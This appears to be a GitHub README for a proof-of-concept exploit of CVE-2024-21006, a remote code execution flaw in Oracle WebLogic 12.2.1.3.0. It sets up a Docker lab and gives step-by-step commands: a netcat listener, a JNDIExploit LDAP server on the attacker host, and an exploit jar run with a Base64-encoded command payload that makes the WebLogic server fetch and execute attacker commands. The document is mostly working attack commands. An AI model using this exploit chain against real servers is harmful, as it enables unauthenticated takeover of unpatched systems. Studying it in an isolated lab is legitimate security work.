d3fudd/cve-2024-21006_pocRemote Code Execution (RCE) - Oracle WebLogic 12.2.1.3.0
CVE-2024-21006 is a critical Remote Code Execution (RCE) vulnerability affecting Oracle WebLogic Server. The flaw is related to the insecure use of the IIOP (Internet Inter-ORB Protocol) and JNDI (Java Naming and Directory Interface) protocols, allowing an unauthenticated remote attacker to execute arbitrary code on the affected server via a malicious JNDI reference.
Set up the environment:
docker-compose up -d
To access the Kali shell:
docker exec -it cve-2024-21006_poc-kali-1 /bin/bash
To access the WebLogic shell:
docker exec -it cve-2024-21006_poc-weblogic-1 /bin/bash
To access the ExploitBox shell:
docker exec -it exploitbox /bin/bash
At this stage, we have a WebLogic 12.2.1.3.0 instance running locally: http://127.0.0.1:7001/console/login/LoginForm.jsp
On Kali:
nc -vnlp 1389
On ExploitBox:
java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 ldap://<IP do Kali>:1389
Notice that Kali received the connection from WebLogic:
On Kali, start JNDIExploit:
cd /exploit
java \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED \
-jar JNDIExploit/JNDIExploit-1.3-SNAPSHOT.jar -i <IP do Kali>
On ExploitBox, run the exploit:
java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 "ldap://<IP do Kali>:1389/Basic/Command/Base64/<Comando em Base64>"
On Kali, see that we received the request:
On WebLogic, see that the command was executed and the file was created successfully:
